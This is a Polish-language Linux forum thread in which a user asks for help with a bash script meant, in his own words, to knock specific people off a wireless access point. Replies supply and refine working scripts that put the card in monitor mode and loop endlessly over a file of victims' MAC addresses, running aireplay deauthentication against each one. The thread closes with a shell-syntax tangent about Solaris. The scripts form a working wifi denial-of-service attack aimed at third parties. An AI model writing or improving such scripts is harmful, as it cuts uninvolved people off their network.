To moze mi ktoś pwoiedzieś jaką komenda wyłancza sie program?
I pytanko, jak wyglada problem uruchamiania kilka kopii tego samego programu w linuxie na raz. Czy stabilność zależy od tego jaki program uruchomilismy kilka razy czy od tego ile takich samych programów dziala na raz?
Kod:
#!/bin/bash
ifconfig ath0 up
airmon.sh start ath0
while( true ); do
for linia_pliku in `cat plik`; do
aireplay -0 0 -a 23:34:43:12:34 -c $linia_pliku ath0;
sleep 30;
killall aireplay;
sleep 5;
done;
done;
[hide]Skrypt ma służyć do zagłuszenie pewnych ludzi łączących sie z AP, lista ich MAC adresów jest w pliku txt. Włączenie programu aireplay z takimi parametrami powoduje rozłączenie danej osoby na czas do puki jest włączony program. I dlatego chce włączyc go na określony czas.
Zastanawiam sie jak może to wpłynąć na karte WiFi, to takie co np 5s zmiana nadawania i przerwy, Jak myślici moze uszkodzic karte lub bedzie miala mniejsza wydajnosc?[/hide]
#! /bin/sh
while :; do
while read x; do
aireplay -0 0 -a 23:34:43:12:34 -c "$x" ath0
done <file
sleep 30
done
dawidmo pisze:Skorzystać z rekurencji
Gratuluję pomysłu. Rekurencja bez warunku końcowego.
Zastrzegam sobie prawo nieanalizowania postów pisanych niepoprawną polszczyzną.
Post generated automatically by A.I. system code name ‘mina86’ in response to the previous one.
To w końcu kto ma racje? Jak bedzie wygladal ten skrypt.
Tak ma to przebiegac:
1. wlaczenie skryptu ./skrypt
2. Uruchomienie karty ath0, ifconfig ath0 up
3. Wlaczenie karty w tryb monitorowania, airmon.sh start ath0
4. Zliczenie linijek w pliku.txt i podstawienie do zmiennej y
5. PETLA
{
6. Przypisanie do zminnej x kolejnych linijek z pliku.txt (1,2,3..... y)
7. Wywołanie programu z zmienną x, aireplay -0 0 -a 23:34:43:12:34 -c $x ath0
8. Program działa przez 30s, sleep 30
9. Zamknięcie programu killall aireplay
10. Przerwa pomiedzy pętlami 5s, sleep 5
}
11. Koniec_PETLI
#! /bin/sh
ifconfig ath0 up
airmon.sh start ath0
while read x; do
aireplay -0 0 -a 23:34:43:12:34 -c "$x" ath0
sleep 30
killall aireplay
sleep 5
done <plik.txt
Jednak Twój opis jest niejasny, więc równie dobrze to może być nie to co oczekujesz.
Zastrzegam sobie prawo nieanalizowania postów pisanych niepoprawną polszczyzną.
Post generated automatically by A.I. system code name ‘mina86’ in response to the previous one.
dawidmo pisze:Twój skryp mna86, wykona sie tylko raz (raz odczyta plik)
Nie twierdzę, że o to chodziło. Ale post z godziny 11:29 jest na tyle mało zrozumiały, że trudno mi było cokolwiek sensownego z niego wyciągnąć.
dawidmo pisze:równie dobrze można dodać nieskończoną pętle, zamiast wywoływać funkcje prze rekurencje, bez warunku zakończenia .
Rekurencja bez warunku kończącego to teoretycznie to samo co pętla nieskończona, jednak w praktyce to pierwsze jest błędem, a to drugie poprawną konstrukcją.
dawidmo pisze:PS: Czy wtedy nie będzie to już rekurencja, jak warunek nigdy nie zostanie spełniony a funkcja wywołuje samą siebie
Czy to będzie rekurencja czy nie to nie wnikam. Na pewno będzie to błąd.
Zastrzegam sobie prawo nieanalizowania postów pisanych niepoprawną polszczyzną.
Post generated automatically by A.I. system code name ‘mina86’ in response to the previous one.
Skrypt ma wywolywac program ktory ma dzialac przez 30s i jednym z parametrów tego programu jest linijka z poliku.txt, potem program ma sie zakonczyc, nastepnie wystepuje preztwa 5s. I dalej uruchamiamy program tym razem parametrem jest kolejna linijka, dziala przez 30s, konczymy, przerwa 5s i zaczynamy znow nastepna linijke pliku.txt i tak do konca pliku. Skoncza sie linijki to zaczynamy od początku pliku i tak wkółko.
Czy jeszcze coś jest nie jasne? No bo wiedze zw sa podzielone zdania.
#! /bin/sh
ifconfig ath0 up
airmon.sh start ath0
while :; do
while read x; do
aireplay -0 0 -a 23:34:43:12:34 -c "$x" ath0
sleep 30
killall aireplay
sleep 5
done <plik.txt
done
Zastrzegam sobie prawo nieanalizowania postów pisanych niepoprawną polszczyzną.
Post generated automatically by A.I. system code name ‘mina86’ in response to the previous one.
dawidmo pisze:Dokładnie difrost dlatego nie użyłem $(cat plik), bo nie działa.
Ojj...dawidmo Notacja $(cat plik) jest dokładnie ekwiwalentem `cat plik` (a raczej na odwrót). Różnica jest tylko taka, że w '` `' nie można zagnieżdżać wywołać, a w $() można.
A to bardzo ciekawe, bo pod Solarisem 9.0 $(...) nie działa
difrost pisze:Ojj...dawidmo Notacja $(cat plik) jest dokładnie ekwiwalentem `cat plik` (a raczej na odwrót). Różnica jest tylko taka, że w '` `' nie można zagnieżdżać wywołać, a w $() można.
cherry pisze:A to bardzo ciekawe, bo pod Solarisem 9.0 $(...) nie działa
Bo Solaris to popierdułka jakaś i ze względów zgodności wstecz (tych gości z Sun Microsystems chyba zdrowo jeb..) /bin/sh to jest Bourne Shell (tak, ten staroć co go przy początkach Wszechświata napisano).
bocian pisze:To skombinuj sobie jakąś POSIX-ową powłokę.
Nie musi kombinować POSIX-owa powłoka w Solarisie jest gdzieś w jakimś /usr/xcośtam/bin albo w jakimś innym dziwnym miejscu.
Zastrzegam sobie prawo nieanalizowania postów pisanych niepoprawną polszczyzną.
Post generated automatically by A.I. system code name ‘mina86’ in response to the previous one.